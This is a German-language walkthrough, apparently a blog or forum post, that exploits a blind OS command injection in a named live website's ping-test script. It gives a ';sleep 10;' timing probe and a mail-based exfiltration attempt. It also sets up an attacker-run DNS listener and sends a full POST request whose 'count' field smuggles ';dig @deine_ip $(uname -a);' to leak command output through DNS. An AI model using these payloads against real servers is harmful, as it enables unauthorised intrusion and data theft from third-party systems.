www.onexpro.de/webmastertools/pingtest-2.php
Das Skript pingtest-2.php ist anfällig gegen eine Blind OS Command Injection. Das heist, wir können Shell-Befehle an das Skript übergeben ohne die Ausgabe sehen zu können. Wenn wir jetzt an den Parameter "count" den Wert ";sleep 10;" übergeben, stellen wir eine deutliche Zeitverzögerung fest. Das heist, wir haben etwas gefunden.
Normalerweise kann man jetzt beispielweise mit ";uname -a|mail email@provider.de;" eine E-Mail mit der Ausgabe des Shell-Befehls an eine gewünschte E-Mail Adresse senden. In diesem Fall geht das aber nicht, weil der Mail-Befehl nicht verfügbar ist.
Wir können uns aber mit dem Befehl "dig" Befehle übermitteln, indem wir einen manipulierten Domainaufruf ausführen.
Zuerst brauchen wir einen Echo-Server, der alles mitschneidet.
Ich nehme jetzt mal den hier:
SHA256: e1af7723d0672d7169cd259829b743efb0b9ae297276687a063e6853aee55733
Dateiname: echotool.exe
Erkennungsrate: 0 / 56
Analyse-Datum: 2014-12-12 19:16:06 UTC ( vor 0 Minuten )
Jetzt starten wir den Server in der Kommandozeile mit folgendem Befehl:
echotool /p udp /s 53 /r 53 /l 53Der Server lauscht jetzt auf Port 53.
Danach senden wir folgende Daten mit Live HTTP Headers:
POST: www.onexpro.de/webmastertools/pingtest-2.php
HTTP Header: Host: www.onexpro.de User-Agent: XXX Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://www.onexpro.de/webmastertools/pingtest-2.php Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 48
POST Inhalt:
p2=google.com&url=&count=3;dig @deine_ip $(uname -a);&submit=View%21&send=1
Bei "deine_ip" soll der Computer angegeben sein, auf dem wir das echotool laufen haben.
Beim Post-Inhalt senden wir mit ";dig @deine_ip $(uname -a);" eine DNS-Abfrage für die Domain "$(uname -a)" an den Server "deine_ip".
Hat alles geklappt, sehen wir im Kommandozeilenfenster des Echotools die Ausgabe des Shell-Befehls "uname -a".